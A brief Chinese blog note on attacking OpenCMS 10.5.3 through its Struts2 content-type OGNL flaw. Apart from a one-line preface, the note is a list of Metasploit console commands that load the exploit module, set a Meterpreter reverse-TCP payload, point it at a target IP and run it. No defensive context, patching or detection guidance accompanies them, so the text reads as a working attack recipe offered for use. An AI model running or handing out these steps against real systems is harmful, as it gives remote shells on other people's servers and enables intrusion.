【笔记】OpenCMS漏洞利用

发表于 更新于 阅读次数：

前言

通过MSF对 OpenCMS 10.5.3 中出现的struts2漏洞利用

漏洞利用

<ip>：目标IP地址

1
2
3
4
5
msfconsole
msf > use exploit/multi/http/struts2_content_type_ognl
msf exploit(multi/http/struts2_content_type_ognl) > set payload linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/struts2_content_type_ognl) > set rhosts <ip>
msf exploit(multi/http/struts2_content_type_ognl) > run

完成